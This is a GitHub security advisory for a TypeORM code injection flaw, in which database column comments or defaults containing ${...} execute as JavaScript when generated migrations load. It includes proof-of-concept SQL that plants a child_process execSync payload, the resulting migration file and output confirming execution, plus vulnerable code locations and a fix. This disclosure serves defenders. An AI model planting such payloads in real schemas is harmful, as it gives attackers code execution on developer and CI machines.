---
id: GHSA-2rp8-mm9q-fp49
title: ' TypeORM: migration:generate template-literal code injection'
summary: ' TypeORM: migration:generate template-literal code injection'
severity: medium
cvss: 5.7
cwe:
  - CWE-94
vendor: typeorm
product: typeorm
ecosystem: npm
affected:
  - typeorm < 0.3.31
  - 'typeorm >= 1.0.0, < 1.1.0'
patched:
  - typeorm 0.3.31
  - typeorm 1.1.0
published: '2026-07-21'
updated: '2026-07-21'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-2rp8-mm9q-fp49'
references:
  - url: 'https://github.com/typeorm/typeorm/security/advisories/GHSA-2rp8-mm9q-fp49'
  - url: >-
      https://github.com/typeorm/typeorm/commit/41d1c62fe49f99c3ca916d4d986f61ee9f45d519
  - url: >-
      https://github.com/typeorm/typeorm/commit/b175f9b8be422edd2a2ac035ba90c3f2ce782dfe
  - url: 'https://github.com/typeorm/typeorm/releases/tag/0.3.31'
  - url: 'https://github.com/typeorm/typeorm/releases/tag/1.1.0'
  - url: 'https://github.com/advisories/GHSA-2rp8-mm9q-fp49'
tags:
  - ghsa
  - npm
ingestedAt: '2026-07-21T22:55:08.756Z'
---

## Overview

### Summary

`typeorm migration:generate` embeds database schema metadata into JS/TS template literals, escaping backticks but not `${...}`. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

### Details

`MigrationGenerateCommand.ts` (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

```typescript
"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...
```

Introspected schema strings reach this sink through driver query runners:

| Driver | Metadata source | Source |
|---|---|---|
| Postgres | column `DEFAULT`, `COMMENT`, `CHECK` constraints, view definitions | [`PostgresQueryRunner.ts:1782`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1782), [`L1898`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1898), [`L2287`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L2287), [`L4125`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L4125) |
| MySQL/MariaDB | `COLUMN_DEFAULT`, `COLUMN_COMMENT` | [`MysqlQueryRunner.ts:2873-2974`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L2873-L2974), [`L3580-3583`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L3580-L3583) |
| CockroachDB | Same patterns as Postgres | [`CockroachQueryRunner.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachQueryRunner.ts) |

`escapeComment()` on each driver strips only null bytes, leaving `${...}` intact:

```typescript
protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}
```

When the migration file is loaded (`migration:run`, `import`, or `require`), the JS engine evaluates `${...}` as live interpolation.

**Affected source:**

| File | Lines | Role |
|---|---|---|
| [`MigrationGenerateCommand.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/commands/MigrationGenerateCommand.ts#L117-L138) | 117-138 | Template-literal construction (sink) |
| [`PostgresDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresDriver.ts#L1886-L1891) | 1886-1891 | `escapeComment()` — Postgres |
| [`MysqlDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlDriver.ts#L1322-L1328) | 1322-1328 | `escapeComment()` — MySQL |
| [`CockroachDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachDriver.ts#L1236-L1241) | 1236-1241 | `escapeComment()` — CockroachDB |

**Confirmed injection vectors (MySQL):**

| Vector | Result | Notes |
|---|---|---|
| Column `COMMENT` | Confirmed | Proven in PoC below |
| Column `DEFAULT` | Confirmed | Attacker sets `ALTER TABLE ... DEFAULT '${...}'`; payload appears in generated migration |
| `CHECK` constraint | Not exploitable | MySQL `information_schema.CHECK_CONSTRAINTS` strips content from `CHECK_CLAUSE` |
| View definitions | Not tested | Requires PostgreSQL `ViewEntity` introspection; likely exploitable via `pg_get_viewdef()` |

**Suggested fix:** Escape `${` to `\${` (and `\\` to `\\\\`) before embedding query strings into template literals, or switch to emitting the SQL as a `JSON.stringify()`-encoded regular string argument.

### PoC

**Prerequisites:**
- Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running `migration:generate`
- The attacker has DDL/write access to the database, **or** the application exposes a feature allowing users to set column `COMMENT`, `DEFAULT`, or view definition text

**Steps:**

1. **Inject payload into schema metadata.** Set a column comment or default containing `${...}`:

```sql
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
```

2. **Run migration generation** on the developer/CI machine:

```bash
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
```

3. **Inspect the generated file.** The output `.ts` file contains unescaped `${...}`:

```typescript
export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}
```

4. **Run or revert the migration:**

```bash
npx typeorm migration:revert -d ./data-source.ts
```

Output confirms code execution — `id` ran on the host and its output was interpolated into the SQL:

```
ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'
```

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in `down()`. Attacker-influenced entity metadata places it in `up()`. Either direction executes the code when the method runs.

### Impact

**Code injection / RCE.** An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running `migration:generate` against a database with attacker-influenced schema metadata is affected.

## Affected packages

- `typeorm < 0.3.31`
- `typeorm >= 1.0.0, < 1.1.0`

## Remediation

Upgrade to a patched release:

- `typeorm 0.3.31`
- `typeorm 1.1.0`
